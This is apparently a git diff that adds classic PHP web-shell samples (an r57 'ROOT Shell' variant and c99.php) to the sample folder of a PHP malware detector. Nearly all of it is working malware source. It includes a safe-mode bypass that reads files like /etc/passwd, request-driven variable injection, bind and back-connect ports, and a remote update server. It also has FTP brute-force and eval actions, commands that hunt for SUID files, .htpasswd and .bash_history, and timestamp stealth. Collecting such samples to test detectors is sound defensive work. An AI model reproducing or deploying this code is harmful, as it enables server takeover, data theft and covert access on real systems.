+"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
+"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
+"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
+"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
+"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
+"RYtMAgEAOw==",
+"ext_cmd"=>
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+"dmrYAMn1onq/YKpjvEgAADs=",
+"ext_cpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+"Eq7YrLDE7a4SADs=",
+"ext_ini"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_diz"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
+"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
+"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
+"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
+"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
+"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
+"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
+"Ow==",
+"ext_doc"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
+"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+"ext_exe"=>
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+"xhIAOw==",
+"ext_h"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+"Wq/NknbbSgAAOw==",
+"ext_hpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+"UqUagnbLdZa+YFcCADs=",
+"ext_htaccess"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_html"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_jpg"=>
+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
+"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
+"FxEAOw==",
+"ext_js"=>
+"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
+"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
+"a00AjYYBbc/o9HjNniUAADs=",
+"ext_lnk"=>
+"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
+"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
+"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
+"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
+"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
+"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
+"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
+"ADs=",
+"ext_log"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
+"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
+"ext_php"=>
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
+"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
+"ext_pl"=>
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+"ext_swf"=>
+"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
+"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
+"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
+"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
+"ext_tar"=>
+"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
+"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
+"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
+"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
+"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
+"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
+"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
+"u4tLAgEAOw==",
+"ext_txt"=>
+"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7"
+ );
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about") {echo "Undetectable version by Spyk1r4 ";}
+?>
+
+
+
+
+:: Preddy's tricks :D ::
+
+
+ Php Safe-Mode Bypass (Read Files)
+
+
+
+ File:
eg: /etc/passwd
+
+
+
+
+
+
+
+
+ function rsg_read()
+ {
+ $test="";
+ $temp=tempnam($test, "cx");
+ $file=$_GET['file'];
+ $get=htmlspecialchars($file);
+ echo "
Trying To Get File
$get ";
+ if(copy("compress.zlib://".$file, $temp)){
+ $fichier = fopen($temp, "r");
+ $action = fread($fichier, filesize($temp));
+ fclose($fichier);
+ $source=htmlspecialchars($action);
+ echo "
Start $get $source Fin $get ";
+ unlink($temp);
+ } else {
+ die("
Sorry... File
+ ".htmlspecialchars($file)." dosen't exists or you don't have
+ access. ");
+ }
+ echo "";
+ }
+
+ if(isset($_GET['file']))
+{
+rsg_read();
+}
+
+ ?>
+
+
+
+ function rsg_glob()
+{
+$chemin=$_GET['directory'];
+$files = glob("$chemin*");
+echo "Trying To List Folder
$chemin ";
+foreach ($files as $filename) {
+ echo "
";
+ echo "$filename\n";
+ echo " ";
+}
+}
+
+if(isset($_GET['directory']))
+{
+rsg_glob();
+}
+
+?>
+
+
+
+
+
+
+ Php Safe-Mode Bypass (List Directories):
+
+ Dir: eg: /etc/
+
+
+
+
+
+
+
+
+
+--[ ROOT Shell MeTeaL TeaM . o R g Modded by root @ MeTaLTeaM.ORG R57 | Generation time: ]--
+
diff --git a/php-malware-finder/samples/classic/c99.php b/php-malware-finder/samples/classic/c99.php
new file mode 100644
index 0000000..7a1ba9f
--- /dev/null
+++ b/php-malware-finder/samples/classic/c99.php
@@ -0,0 +1,3157 @@
+$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+
+$shver = "1.0 pre-release build #16"; //Current version
+//CONFIGURATION AND SETTINGS
+if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
+else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
+}
+
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+
+//Authentication
+$login = ""; //login
+//DON'T FORGOT ABOUT PASSWORD!!!
+$pass = ""; //password
+$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
+
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Restricted area"; //http-auth message.
+$accessdeniedmess = "c999shell v.".$shver." : access denied";
+
+$gzipencode = TRUE; //Encode with gzip?
+
+$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
+
+$c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server
+$c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server
+
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+
+$donated_html = "Owned by hacker ";
+/* If you publish free shell and you wish
+add link to your site or any other information,
+put here your html. */
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+
+$curdir = "./"; //start folder
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
+$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
+
+$log_email = "user@host.tld"; //Default e-mail for sending logs
+
+$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
+$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
+
+// Registered file-types.
+// array(
+// "{action1}"=>array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext4","ext5","ext6",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+// Registered executable file-types.
+// array(
+// string "command{i}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+// {command}: %f% = filename
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+
+/* Highlighted files.
+ array(
+ i=>array({regexp},{type},{opentag},{closetag},{break})
+ ...
+ )
+ string {regexp} - regular exp.
+ int {type}:
+0 - files and folders (as default),
+1 - files only, 2 - folders only
+ string {opentag} - open html-tag, e.g. "" (default)
+ string {closetag} - close html-tag, e.g. " " (default)
+ bool {break} - if TRUE and found match then break
+*/
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+
+$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
+ // array (i=>{letter} ...); string {letter} - letter of a drive
+//$safemode_diskettes = range("a","z");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+$bindport_pass = "c999"; // default password for binding
+$bindport_port = "31373"; // default port for binding
+$bc_port = "31373"; // default port for back-connect
+$datapipe_localport = "8081"; // default port for datapipe
+
+// Command-aliases
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+
+$sess_cookie = "c999shvars"; // Cookie-variable name
+
+$usefsbuff = TRUE; //Buffer-function
+$copy_unset = FALSE; //Remove copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array(
+ array(" ",$surl),
+ array(" ","#\" onclick=\"history.back(1)"),
+ array(" ","#\" onclick=\"history.go(1)"),
+ array(" ",$surl."act=ls&d=%upd&sort=%sort"),
+ array(" ",""),
+ array(" ",$surl."act=search&d=%d"),
+ array(" ",$surl."act=fsbuff&d=%d"),
+ array("Encoder ",$surl."act=encoder&d=%d"),
+ array("Tools ",$surl."act=tools&d=%d"),
+ array("Proc. ",$surl."act=processes&d=%d"),
+ array("FTP brute ",$surl."act=ftpquickbrute&d=%d"),
+ array("Sec. ",$surl."act=security&d=%d"),
+ array("SQL ",$surl."act=sql&d=%d"),
+ array("PHP-code ",$surl."act=eval&d=%d"),
+ array("Update ",$surl."act=update&d=%d"),
+ array("Feedback ",$surl."act=feedback&d=%d"),
+ array("Self remove ",$surl."act=selfremove"),
+ array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c999shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c999shell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img")
+{
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c999_buff_prepare"))
+{
+function c999_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c999_buff_prepare();
+if (!function_exists("c999_sess_put"))
+{
+function c999_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c999_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
